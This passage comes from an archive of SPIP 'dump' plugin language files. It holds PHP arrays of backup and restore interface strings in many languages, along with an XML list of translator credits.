TYLKO I WYŁĄCZNIE w serwisie opartym na tej samej wersji SPIP. Nie wolno "oprózniać bazy danych" sądząc, że po zaktualizowaniu SPIP będzie można odtworzyć bazę z backupu. Więcej informacji w <a href="@spipnet@">dokumentacji SPIP</a>.', # MODIF
'texte_restaurer_base' => 'Odtwórz zawartość kopii bezpieczeństwa bazy',
'texte_restaurer_sauvegarde' => 'Ta opcja pozwala Ci odtworzyć poprzednią kopię bezpieczeństwa
bazy danych. Aby móc to uczynić plik - kopia bezpieczeństwa powienien być
umieszczony w katalogu @dossier@.
Bądź ostrożny korzystając z tej funkcji : <b> modyfikacje i ewentualne straty, są
nieodwracalne.</b>', # MODIF
'texte_sauvegarde' => 'Backup zawartości bazy danych',
'texte_sauvegarde_base' => 'Backup bazy danych'
);
?>
dump_zh.php 0000666 00000002620 15252540315 0006731 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/dump?lang_cible=zh
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_restaurer_base' => '恢复数据库',
// I
'info_restauration_sauvegarde' => '恢复备份 @archive@', # MODIF
'info_sauvegarde' => '备份',
'info_sauvegarde_reussi_02' => '数据库保存在@archive@. 你可以', # MODIF
'info_sauvegarde_reussi_03' => '返回管理',
'info_sauvegarde_reussi_04' => '你的站点.',
// T
'texte_admin_tech_01' => '此操作允许您保存数据库内容为一个文件到@dossier@.
记得刷新整个 <i>IMG/</i> 目录, 它包含文章和各专栏中使用的图片和文档.', # MODIF
'texte_admin_tech_02' => '警告 : 备份仅有在同样的SPIP版本中才被恢复
. 升级SPIP前备份数据库这是
普遍的错误
... 更多消息参见 <a href="@spipnet@">SPIP 文档</a>.', # MODIF
'texte_restaurer_base' => '恢复备份数据库内容',
'texte_restaurer_sauvegarde' => '该选项允许你恢复以前的数据库
. 打包它, 包括备份的文件已存在
目录 @dossier@.
小心使用这个特性: <b>任何修改或丢失将不可
撤回.</b>', # MODIF
'texte_sauvegarde' => '备份数据库内容',
'texte_sauvegarde_base' => '备份数据库'
);
?>
dump_cs.php 0000666 00000003230 15252540315 0006713 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/dump?lang_cible=cs
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_restaurer_base' => 'Obnovit databázi',
// I
'info_restauration_sauvegarde' => 'obnova uložení @archive@', # MODIF
'info_sauvegarde' => 'Uložení',
'info_sauvegarde_reussi_02' => 'Databáze byla uložena do @archive@. Můžete',
'info_sauvegarde_reussi_03' => 'se vrátit ke správě',
'info_sauvegarde_reussi_04' => 'vašeho webu.',
// T
'texte_admin_tech_01' => 'Tato volba je určena k uložení obsahu databáze do souboru, jenž bude uložen v adresáři @dossier@. Nezapomeňte zálohovat i obsah celého adresáře @img@, ve kterém jsou uloženy obrázky a dokumenty použité v článcích a sekcích.',
'texte_admin_tech_02' => 'Pozor! Takto uložené soubory lze obnovit POUZE na webu, kde je nainstalována stejná verze systému SPIP. V žádném případě "nevyprázdňujte databázi" s tím, že obnovíte zálohu po aktualizaci... Viz <a href="@spipnet@">la dokumentace k systému SPIP</a>.', # MODIF
'texte_restaurer_base' => 'Obnovit obsah ze zálohy databáze',
'texte_restaurer_sauvegarde' => 'Tato volba slouží k obnově dříve pořízené zálohy databáze.
Záložní soubor musí být v adresáři @dossier@.
Při použití této funkce postupujte opatrně. <b>Změny i případné ztráty
jsou totiž nevratné.</b>', # MODIF
'texte_sauvegarde' => 'Zálohovat obsah databáze',
'texte_sauvegarde_base' => 'Uložit databázi'
);
?>
paquet-dump_de.php 0000666 00000000725 15252540315 0010201 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-dump?lang_cible=de
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// D
'dump_description' => 'Sicherung und Wiederherstellung der Datenbank im SQLite-Format',
'dump_slogan' => 'Sicherung und Wiederherstellung der SPIP-Datenbank'
);
?>
paquet-dump.xml 0000666 00000007566 15252540315 0007554 0 ustar 00 <traduction module="paquet-dump" gestionnaire="salvatore" url="http://trad.spip.net" source="svn://zone.spip.org/spip-zone/_core_/plugins/dump/lang/" reference="fr">
<langue code="ar" url="http://trad.spip.net/tradlang_module/paquet-dump?lang_cible=ar" total="2" traduits="2" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="George" lien="http://trad.spip.net/auteur/جورج-قندلفت" />
</langue>
<langue code="de" url="http://trad.spip.net/tradlang_module/paquet-dump?lang_cible=de" total="2" traduits="2" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="klaus++" lien="http://trad.spip.net/auteur/klaus" />
</langue>
<langue code="en" url="http://trad.spip.net/tradlang_module/paquet-dump?lang_cible=en" total="2" traduits="2" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="kent1" lien="http://trad.spip.net/auteur/kent1" />
</langue>
<langue code="eo" url="http://trad.spip.net/tradlang_module/paquet-dump?lang_cible=eo" total="2" traduits="2" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="Matthieu Marcillaud" lien="http://trad.spip.net/auteur/matthieu-marcillaud" />
</langue>
<langue code="es" url="http://trad.spip.net/tradlang_module/paquet-dump?lang_cible=es" total="2" traduits="2" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="jotacese" lien="http://trad.spip.net/auteur/jotacese" />
</langue>
<langue code="fa" url="http://trad.spip.net/tradlang_module/paquet-dump?lang_cible=fa" total="2" traduits="2" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="Davood Hossein" lien="http://trad.spip.net/auteur/davood-hossein" />
</langue>
<langue code="fr" url="http://trad.spip.net/tradlang_module/paquet-dump?lang_cible=fr" total="2" traduits="2" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
</langue>
<langue code="fr_fem" url="http://trad.spip.net/tradlang_module/paquet-dump?lang_cible=fr_fem" total="2" traduits="2" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="denisb" lien="http://trad.spip.net/auteur/denisb" />
</langue>
<langue code="it" url="http://trad.spip.net/tradlang_module/paquet-dump?lang_cible=it" total="2" traduits="2" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="phante" lien="http://trad.spip.net/auteur/phante" />
</langue>
<langue code="lb" url="http://trad.spip.net/tradlang_module/paquet-dump?lang_cible=lb" total="2" traduits="2" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="jwander" lien="http://trad.spip.net/auteur/jwander" />
</langue>
<langue code="nl" url="http://trad.spip.net/tradlang_module/paquet-dump?lang_cible=nl" total="2" traduits="2" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="Suske" lien="http://trad.spip.net/auteur/suske" />
</langue>
<langue code="pt" url="http://trad.spip.net/tradlang_module/paquet-dump?lang_cible=pt" total="2" traduits="2" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="Cláudia Anjos Lopes" lien="http://trad.spip.net/auteur/claudia_a_lopes" />
</langue>
<langue code="pt_br" url="http://trad.spip.net/tradlang_module/paquet-dump?lang_cible=pt_br" total="2" traduits="2" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="Ricardo Porto" lien="http://trad.spip.net/auteur/ricardo-porto" />
</langue>
<langue code="ru" url="http://trad.spip.net/tradlang_module/paquet-dump?lang_cible=ru" total="2" traduits="2" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="Serge Markitanenko" lien="http://trad.spip.net/auteur/serge-markitanenko" />
</langue>
<langue code="sk" url="http://trad.spip.net/tradlang_module/paquet-dump?lang_cible=sk" total="2" traduits="2" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="jaro" lien="http://trad.spip.net/auteur/jaro" />
</langue>
</traduction>
dump_cpf.php 0000666 00000003444 15252540315 0007065 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/dump?lang_cible=cpf
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_restaurer_base' => 'Rosarz léta labazwèb',
// I
'info_restauration_sauvegarde' => 'rosarz léta lasovgard @archive@', # MODIF
'info_sauvegarde' => 'Sovgard',
'info_sauvegarde_reussi_02' => 'Labazdodné la finn dèt sovgardé dann @archive@. Ou pé',
'info_sauvegarde_reussi_03' => 'Artourn si lo kolonaz',
'info_sauvegarde_reussi_04' => 'out sitwèb.',
// T
'texte_admin_tech_01' => 'Lopsyon-la li rand aou kav sovgard lo kontnu
la bazdodné. Pou sa minm, oubli pa mèt ali andann fisyé prési dann répèrtwar @dossier@.
Oubli pa rékupèr osi tout sak nana dann répertwar <i>IMG/</i>, sé dir
tout bann zimaz èk tout bann dokiman knéna dann bann zartik èk bann rubrik.',
'texte_admin_tech_02' => 'Tansyon pangar : sovgard-la li sra posib réstoré
SÈLMAN sir inn sitwèb ki néna inn minm versyon do SPIP. Pangar sirtou pa « dégrené labaz-la » èk lidé install in in sovgar apré larnouvèlman.Pour plid détay anon vwar isi lapaz <a href="@spipnet@">la documentation de SPIP</a>.', # MODIF
'texte_restaurer_base' => 'Rosarz lo kontnu lasovgard labaz',
'texte_restaurer_sauvegarde' => 'Lopsyon-la i permé rosarz inn sovgard sak ou néna déza fé sir labaz. Pour sa, ifo mèt lo fisyé la sovgard dann répertwar@dossier@.
Inn ti péd prékosyon lé nésésèr èk lafonksyon-la : porézon <b>bann sanzman ou bann pèrt sak ou pé konèt, zot i pé pa bataryèr.</b>', # MODIF
'texte_sauvegarde' => 'Sovgard lo kontnu labaz',
'texte_sauvegarde_base' => 'Sovgard labaz dodné'
);
?>
dump_cpf_hat.php 0000666 00000003132 15252540315 0007713 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/dump?lang_cible=cpf_hat
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_restaurer_base' => 'Aranje labaz',
// I
'info_restauration_sauvegarde' => 'Restòwasyon lasòvgad @archive@', # MODIF
'info_sauvegarde' => 'Sòvgad',
'info_sauvegarde_reussi_02' => 'Baz-la te fin sovgadé nan @archive@. W kapab',
'info_sauvegarde_reussi_03' => 'tounyen dèyè okipe',
'info_sauvegarde_reussi_04' => 'sit a w.',
// T
'texte_admin_tech_01' => 'Opsyon nan ka pèmè aw kembe kontni labazdone nan yon fichye ke sere nan repertwar @dossier@. Pa oublye genyen tout repetwar-la @img@, pou sere byen tout limaj ak dokiman ki nan zot atik, zot ki repertwar-la ka kembe azot li mèm.',
'texte_admin_tech_02' => 'Atansyon: sòvgad-la ke kapab restore SELMAN sou yon sit ki enstalé sou yon mèm vèsyon SPIP. Fòk pa w « vid labaz » po enstalé sòvgad-la apré met nan nivo... Gade <a href="@spipnet@">dokimantasyon SPIP</a>.', # MODIF
'texte_restaurer_base' => 'Restore kontni yon sovgad baz-la',
'texte_restaurer_sauvegarde' => 'Opsyon-nan ki pémè w restore yon sovgad ki w té fé avan sou baz-la.
Akoz, fok w plasé fichye an ki kembe sovgad-la nan répertwar
@dossier@.
Tansyon kank w touche fonksyonalité an : <b>tout chanjman, tout bagay ki perdi, se
définitif.</b>', # MODIF
'texte_sauvegarde' => 'Sovgad kontni baz-la',
'texte_sauvegarde_base' => 'Sovgad baz-la'
);
?>
dump_pt.php 0000666 00000010167 15252540315 0006740 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/dump?lang_cible=pt
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'aucune_donnee' => 'vazio',
'avis_probleme_ecriture_fichier' => 'Problema de escrita no ficheiro @fichier@',
// B
'bouton_restaurer_base' => 'Restaurar a base de dados',
// C
'confirmer_ecraser_base' => 'Sim, desejo reescrever a minha base de dados com a cópia de segurança',
'confirmer_ecraser_tables_selection' => 'Sim, desejo reescrever as tabelas seleccionadas com a cópia de segurança',
// D
'details_sauvegarde' => 'Detalhes da cópia de segurança:',
// E
'erreur_aucune_donnee_restauree' => 'Sem dados restaurados',
'erreur_connect_dump' => 'Já existe um servidor com o nome « @dump@ » Por favor escolha outro nome.',
'erreur_creation_base_sqlite' => 'Impossível criar uma base de dados SQLite para a cópia de segurança',
'erreur_nom_fichier' => 'Este nome de ficheiro não é autorizado',
'erreur_restaurer_verifiez' => 'Corrija o erro para poder restaurar.',
'erreur_sauvegarde_deja_en_cours' => 'Já tem uma cópia de segurança em curso',
'erreur_sqlite_indisponible' => 'Impossível criar uma cópia de segurança SQLite no seu serviço de hospedagem',
'erreur_table_absente' => 'Tabela @table@ inexistente',
'erreur_table_donnees_manquantes' => 'Tabela @table@, dados em falta',
'erreur_taille_sauvegarde' => 'A cópia de segurança parece ter falhado. O ficheiro @fichier@ está vazio ou ausente.',
// I
'info_aucune_sauvegarde_trouvee' => 'Nenhuma cópia de segurança encontrada',
'info_restauration_finie' => 'Terminou !. A cópia de segurança @archive@ foi restaurada no seu sítio. Pode',
'info_restauration_sauvegarde' => 'restauro da cópia de segurança @archive@',
'info_sauvegarde' => 'Cópia de segurança',
'info_sauvegarde_reussi_02' => 'Foi criada uma cópia de segurança da base de dados em @archive@. Pode',
'info_sauvegarde_reussi_03' => 'voltar à gestão',
'info_sauvegarde_reussi_04' => 'do seu sítio',
'info_selection_sauvegarde' => 'Escolheu restaurar a cópia de segurança @fichier@. esta operação é irreversível.',
// L
'label_nom_fichier_restaurer' => 'Ou indique o nome do ficheiro a restaurar',
'label_nom_fichier_sauvegarde' => 'Nome do ficheiro para a cópia de segurança',
'label_selectionnez_fichier' => 'Seleccione um ficheiro na lista',
// N
'nb_donnees' => '@nb@ registos',
// R
'restauration_en_cours' => 'Restauro em curso',
// S
'sauvegarde_en_cours' => 'Cópia de segurança em curso',
'sauvegardes_existantes' => 'Cópias de segurança existentes',
'selectionnez_table_a_restaurer' => 'Seleccione as tabelas a restaurar',
// T
'texte_admin_tech_01' => 'Esta opção permite-lhe guardar o conteúdo da base num ficheiro que será armazenado no directório @dossier@. Não esqueça de recuperar a totalidade do directório @img@, que contém as imagens e os documentos utlizados nos artigos e rubricas.',
'texte_admin_tech_02' => 'Atenção: esta cópia de segurança só poderá ser restaurada
num sítio instalado sob a mesma versão de SPIP. Nunca apague a sua base de dados esperando que esta seja reinstalada após uma actualização. Consulte <a href="@spipnet@">a documentação de SPIP</a>.',
'texte_restaurer_base' => 'Restaurar o conteúdo de uma cópia de segurança da base de dados',
'texte_restaurer_sauvegarde' => 'Esta opção permite restaurar uma cópia de segurança anteriormente
efectuada à base de dados. Para esse efeito, o ficheiro que contém a cópia de segurança deve ter sido
guardado no directório @dossier@.
Seja prudente com esta funcionalidade : <b>as eventuais modificações, e/ou perdas são irreversíveis.</b> ',
'texte_sauvegarde' => 'Criar uma cópia de segurança do conteúdo da base de dados',
'texte_sauvegarde_base' => 'Criar uma cópia de segurança da base de dados',
'tout_restaurer' => 'Restaurar todas a tabelas',
'tout_sauvegarder' => 'Criar cópia de segurança de todas as tabelas',
// U
'une_donnee' => '1 registo'
);
?>
dump_ast.php 0000666 00000003524 15252540315 0007103 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/dump?lang_cible=ast
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_restaurer_base' => 'Restaurar la base',
// I
'info_restauration_sauvegarde' => 'Restauración de la copia de seguridá @archive@',
'info_sauvegarde' => 'Copia de seguridá',
'info_sauvegarde_reussi_02' => 'La base de datos guardose en @archive@. Puedes',
'info_sauvegarde_reussi_03' => 'tornar pa la xestión',
'info_sauvegarde_reussi_04' => 'del sitiu web.',
// T
'texte_admin_tech_01' => 'Esta opción te permite facer copia del conteníu de la base nun archivu que va guardase nel direutoriu @dossier@. Tampoco nun escaezas recuperar ensembre el direutoriu @img@, que contién les imaxes y los documentos utilizaos nos artículos y nes estayes.',
'texte_admin_tech_02' => 'Atención: esta copia SÓLO va poder restaurase nun sitiu instaláu cola mesma versión de SPIP. Poro, y n’especial, nun hai que «vaciar la base» cuntando con reinstalar la copia tres d’una actualización... Consulta <a href="@spipnet@">la documentación de SPIP</a>.', # MODIF
'texte_restaurer_base' => 'Restaurar el conteníu d’una copia de seguridá de la base',
'texte_restaurer_sauvegarde' => 'Esta opción te permite restaurar una copia de seguridá de la base
fecha anteriormente. Pa facer esto, l’archivu que contién la copia de seguridá tién que tar
allugáu nel direutoriu @dossier@.
Ten prudencia con esta funcionalidá: <b>les modificaciones, y perdes si ye’l casu, son
irreversibles.</b>', # MODIF
'texte_sauvegarde' => 'Facer copia de seguridá del conteníu de la base',
'texte_sauvegarde_base' => 'Facer copia de seguridá de la base'
);
?>
dump_it.php 0000666 00000007504 15252540315 0006732 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/dump?lang_cible=it
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'aucune_donnee' => 'vuoto',
'avis_probleme_ecriture_fichier' => 'Problemi nella scrittura del file @fichier@',
// B
'bouton_restaurer_base' => 'Ripristina il database',
// C
'confirmer_ecraser_base' => 'Si, io voglio sovrascrivere il mio database con il backup',
'confirmer_ecraser_tables_selection' => 'Si, io voglio sovrascrivere le tabelle selezionate con il backup',
// D
'details_sauvegarde' => 'Dettagli del backup :',
// E
'erreur_aucune_donnee_restauree' => 'Nessun dato ripristinato',
'erreur_connect_dump' => 'Un server chiamato « @dump@ » esiste già. Rinominatelo.',
'erreur_creation_base_sqlite' => 'Impossibile creare un databse SQLite per il salvataggio dei backup',
'erreur_nom_fichier' => 'Il nome del file non è permesso',
'erreur_restaurer_verifiez' => 'Risolvere l’errore in modo da ripristinare.',
'erreur_sauvegarde_deja_en_cours' => 'C’è già un backup in corso',
'erreur_sqlite_indisponible' => 'Impossibile effettuate un backup SQLite sul tuo hosting provider',
'erreur_table_absente' => 'Table @table@ assente',
'erreur_table_donnees_manquantes' => 'Tabella @table@, dati mancanti',
'erreur_taille_sauvegarde' => 'Il backup sembra essere fallito. Il file @fichier@ è vuoto o assente.',
// I
'info_aucune_sauvegarde_trouvee' => 'Nessun backup trovato',
'info_restauration_finie' => 'Finito !. Il backup@archive@ è stato ripristinato sul tuo sito. Adesso puoi',
'info_restauration_sauvegarde' => 'Ripristino del salvataggio @archive@',
'info_sauvegarde' => 'Salvataggio',
'info_sauvegarde_reussi_02' => 'Il database è stato salvato in @archive@. Puoi ',
'info_sauvegarde_reussi_03' => 'tornare alla gestione',
'info_sauvegarde_reussi_04' => 'del tuo sito.',
'info_selection_sauvegarde' => 'Hai scelto di rispritinare il database con il file di backup @fichier@. Questa operazione è irreversibile.',
// L
'label_nom_fichier_restaurer' => 'Oppure indica il nome del file di backup da ripristinare',
'label_nom_fichier_sauvegarde' => 'Nome del file per il backup',
'label_selectionnez_fichier' => 'Selezionare un file nella lista',
// N
'nb_donnees' => '@nb@ record',
// R
'restauration_en_cours' => 'Ripristino in corso',
// S
'sauvegarde_en_cours' => 'Backup in corso',
'sauvegardes_existantes' => 'Backup esistenti',
'selectionnez_table_a_restaurer' => 'Selezionare la tabella da ripristinare',
// T
'texte_admin_tech_01' => 'Questa opzione permette di salvare il contenuto del database in un file che sarà conservato nella cartella @dossier@.
Non dimenticare di recuperare integralmente anche la cartella @img@, che contiene le immagini e i documenti utilizzati negli articoli e nelle rubriche.',
'texte_admin_tech_02' => 'Attenzione: questo backup potrà essere ripristinato SOLO in un sito installato con la stessa versione di SPIP. Non è possibile « svuotare il database » pensando di ripristinare questo backup dopo aver aggiornato la versione di SPIP...
Per maggiori informazioni consulta <a href="@spipnet@">la documentazione di SPIP</a>.',
'texte_restaurer_base' => 'Ripristina un backup del database',
'texte_restaurer_sauvegarde' => 'Quest’opzione permette il ripristino di un backup del database.
Il file di salvataggio deve trovarsi nella cartella @dossier@.
Attenzione: <b>le modifiche o la perdita eventuale di dati sono irreversibili.</b>',
'texte_sauvegarde' => 'Salva il contenuto del database',
'texte_sauvegarde_base' => 'Salva il database',
'tout_restaurer' => 'Ripristina tutte le tabelle',
'tout_sauvegarder' => 'Backup di tutte le tabelle',
// U
'une_donnee' => '1 record'
);
?>
dump_sv.php 0000666 00000002253 15252540315 0006742 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/dump?lang_cible=sv
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_restaurer_base' => 'Återställ databasen',
// I
'info_restauration_sauvegarde' => 'Lägger tillbaka backupen @archive@',
'info_sauvegarde' => 'Backup',
'info_sauvegarde_reussi_02' => 'Databasen har sparats i @archive@. Du kan',
'info_sauvegarde_reussi_03' => 'Återvänd till administrationen',
'info_sauvegarde_reussi_04' => 'på din sajt.',
// T
'texte_admin_tech_02' => 'Attention: cette sauvegarde ne pourra être restaurée QUE dans un site installé sous la même version de SPIP. Il ne faut donc surtout pas « vider la base » en espérant réinstaller la sauvegarde après une mise à jour... Consultez <a href="@spipnet@">la documentation de SPIP</a>.', # MODIF
'texte_restaurer_base' => 'Återställ innehållet i databasens backup',
'texte_sauvegarde' => 'Säkerhetskopiera innehållet i databasen',
'texte_sauvegarde_base' => 'Säkerhetskopiera databasen'
);
?>
dump_gl.php 0000666 00000003422 15252540315 0006713 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/dump?lang_cible=gl
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_restaurer_base' => 'Restaurar a base',
// I
'info_restauration_sauvegarde' => 'Restauración da copia de seguridade @archive@',
'info_sauvegarde' => 'Copia de seguridade',
'info_sauvegarde_reussi_02' => 'A base foi gardada en @archive@. Pode ',
'info_sauvegarde_reussi_03' => 'volver á xestión',
'info_sauvegarde_reussi_04' => 'do seu web.',
// T
'texte_admin_tech_01' => 'Esta opción permite gardar o contido da base nun ficheiro que será almaceado no directorio @dossier@. Non esqueza tamén gardar o directorio @img@ íntegro, que é o que contén as imaxes e os documentos anexos empregados nos artigos e nas seccións.',
'texte_admin_tech_02' => 'Atención!: esta copia de seguridade SÓ poderá ser restaurada nun web que teña instalada a MESMA versión de SPIP. Daquela de ningunha maneira é conveniente « baleirar a base » coa esperanza de reinstalar a copia de seguridade logo da actualización...Consulte
<a href="@spipnet@">a documentación de SPIP</a>.', # MODIF
'texte_restaurer_base' => 'Restaurar o contido dunha copia de seguridade da base',
'texte_restaurer_sauvegarde' => 'Esta opción permite restaurar unha copia de seguridade precedente
feita da base. Para isto, o ficheiro da copia de seguridade ten que
estar no cartafol @dossier@.
Sexa prudente con esta funcionalidade : <b>as modificacións e perdas eventuais, son
irreversíbeis.</b>', # MODIF
'texte_sauvegarde' => 'Gardar o contido da base',
'texte_sauvegarde_base' => 'Gardar a base'
);
?>
paquet-dump_sk.php 0000666 00000000661 15252540315 0010225 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-dump?lang_cible=sk
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// D
'dump_description' => 'Záloha databázy v SQLite a jej obnovenie',
'dump_slogan' => 'Záloha a obnovenie databázy SPIPu'
);
?>
dump_is.php 0000666 00000010331 15252540315 0006721 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://www.spip.net/trad-lang/
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'aucune_donnee' => 'vide', # NEW
'avis_probleme_ecriture_fichier' => 'Problème d\'écriture du fichier @fichier@', # NEW
// B
'bouton_restaurer_base' => '<NEW> Restaurer la base',
// C
'confirmer_ecraser_base' => 'Oui, je veux écraser ma base avec cette sauvegarde', # NEW
'confirmer_ecraser_tables_selection' => 'Oui, je veux écraser les tables sélectionnées avec cette sauvegarde', # NEW
// D
'details_sauvegarde' => 'Détails de la sauvegarde :', # NEW
// E
'erreur_aucune_donnee_restauree' => 'Aucune donnée restaurée', # NEW
'erreur_connect_dump' => 'Un serveur nommé « @dump@ » existe déjà. Renommez-le.', # NEW
'erreur_creation_base_sqlite' => 'Impossible de créer une base SQLite pour la sauvegarde', # NEW
'erreur_nom_fichier' => 'Ce nom de fichier n\'est pas autorisé', # NEW
'erreur_restaurer_verifiez' => 'Corrigez l\'erreur pour pouvoir restaurer.', # NEW
'erreur_sauvegarde_deja_en_cours' => 'Vous avez déjà une sauvegarde en cours', # NEW
'erreur_sqlite_indisponible' => 'Impossible de faire une sauvegarde SQLite sur votre hébergement', # NEW
'erreur_table_absente' => 'Table @table@ absente', # NEW
'erreur_table_donnees_manquantes' => 'Table @table@, données manquantes', # NEW
'erreur_taille_sauvegarde' => 'La sauvegarde semble avoir échoué. Le fichier @fichier@ est vide ou absent.', # NEW
// I
'info_aucune_sauvegarde_trouvee' => 'Aucune sauvegarde trouvée', # NEW
'info_restauration_finie' => 'C\'est fini !. La sauvegarde @archive@ a été restaurée dans votre site. Vous pouvez', # NEW
'info_restauration_sauvegarde' => '<NEW> restauration de la sauvegarde @archive@', # MODIF
'info_sauvegarde' => '<NEW> Sauvegarde',
'info_sauvegarde_reussi_02' => '<NEW> La base a été sauvegardée dans @archive@. Vous pouvez',
'info_sauvegarde_reussi_03' => '<NEW> retourner à la gestion',
'info_sauvegarde_reussi_04' => '<NEW> de votre site.',
'info_selection_sauvegarde' => 'Vous avez choisi de restaurer la sauvegarde @fichier@. Cette opération est irréversible.', # NEW
// L
'label_nom_fichier_restaurer' => 'Ou indiquez le nom du fichier à restaurer', # NEW
'label_nom_fichier_sauvegarde' => 'Nom du fichier pour la sauvegarde', # NEW
'label_selectionnez_fichier' => 'Sélectionnez un fichier dans la liste', # NEW
// N
'nb_donnees' => '@nb@ enregistrements', # NEW
// R
'restauration_en_cours' => 'Restauration en cours', # NEW
// S
'sauvegarde_en_cours' => 'Sauvegarde en cours', # NEW
'sauvegardes_existantes' => 'Sauvegardes existantes', # NEW
'selectionnez_table_a_restaurer' => 'Sélectionnez les tables à restaurer', # NEW
// T
'texte_admin_tech_01' => '<NEW> Cette option vous permet de sauvegarder le contenu de la base dans un fichier qui sera stocké dans le répertoire @dossier@.N\'oubliez pas également de récupérer l\'intégralité du répertoire <i>IMG/</i>, qui contient les images et les documents utilisés dans les articles et les rubriques.',
'texte_admin_tech_02' => '<NEW> Attention: cette sauvegarde ne pourra être restaurée QUE dans un site installé sous la même version de SPIP. Il ne faut donc surtout pas « vider la base » en espérant réinstaller la sauvegarde après une mise à jour... Consultez <a href="@spipnet@">la documentation de SPIP</a>.', # MODIF
'texte_restaurer_base' => '<NEW> Restaurer le contenu d\'une sauvegarde de la base',
'texte_restaurer_sauvegarde' => '<NEW> Cette option vous permet de restaurer une sauvegarde précédemment
effectuée de la base. A cet effet, le fichier contenant la sauvegarde doit avoir été
placé dans le répertoire @dossier@.
Soyez prudent avec cette fonctionnalité : <b>les modifications, pertes éventuelles, sont
irréversibles.</b>',
'texte_sauvegarde' => '<NEW> Sauvegarder le contenu de la base',
'texte_sauvegarde_base' => '<NEW> Sauvegarder la base',
'tout_restaurer' => 'Restaurer toutes les tables', # NEW
'tout_sauvegarder' => 'Sauvegarder toutes les tables', # NEW
// U
'une_donnee' => '1 enregistrement' # NEW
);
?>
dump_oc_va.php 0000666 00000003515 15252540315 0007403 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/dump?lang_cible=oc_va
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_restaurer_base' => 'Restaurar la basa',
// I
'info_restauration_sauvegarde' => 'restauracion de la sauvagarda @archive@', # MODIF
'info_sauvegarde' => 'Sauvagarda',
'info_sauvegarde_reussi_02' => 'La basa es estaa sauvagardaa dins @archive@. Poètz',
'info_sauvegarde_reussi_03' => 'tornar a la gestion',
'info_sauvegarde_reussi_04' => 'de vòstre sit.',
// T
'texte_admin_tech_01' => 'Aquela opcion vos permet de sauvagardar lo contengut de la basa dins un fichier que serà servat dins lo repertòri @dossier@.
